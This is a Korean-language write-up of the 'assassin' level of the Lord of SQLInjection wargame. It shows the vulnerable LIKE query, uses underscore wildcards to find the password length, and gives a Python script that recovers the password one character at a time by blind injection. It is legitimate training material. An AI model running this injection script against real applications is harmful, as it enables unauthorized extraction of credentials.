[Writeup]/[Lord Of SQLInjection] assassin

2025. 3. 5. 20:46Hacking/WebHacking Wargame Writeup

이전 문제들과 마찬가지로 blind injection 방식으로 풀면 된다.

→ 길이를 먼저 구하고, 전체 패스워드를 파이썬 코드로 구한다.

길이

$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";

→ 해당 코드에서 pw가 like 구문으로 입력 받는다는게 명시적으로 나타난다.

→ 따라서, 문자 하나를 대표하는 _를 사용한다.

→ _를 8개 적용하니 “Hello guest”가 출력되었다.

→ pw 길이가 8이다.

import requests

password = ''

for admin_len in range(8): ##pw의 길이 8만큼 수행
    for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
        URL = '<https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php>'
        query = {'pw' : str(password) + chr(admin_pass) + '%'}
        cookies = {'PHPSESSID' : '쿠키 정보'} #쿠키 정보에 각자의 쿠키 값을 대입
        res = requests.get(URL, params = query, cookies = cookies)
        if('Hello admin' in res.text or 'Hello guest' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
            password = password + chr(admin_pass)
            print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
            break

⇒ 결과를 통해 pw=902EFD10을 대입한다.

→ 문제가 해결된다.

→ 클리어 창이 뜬다.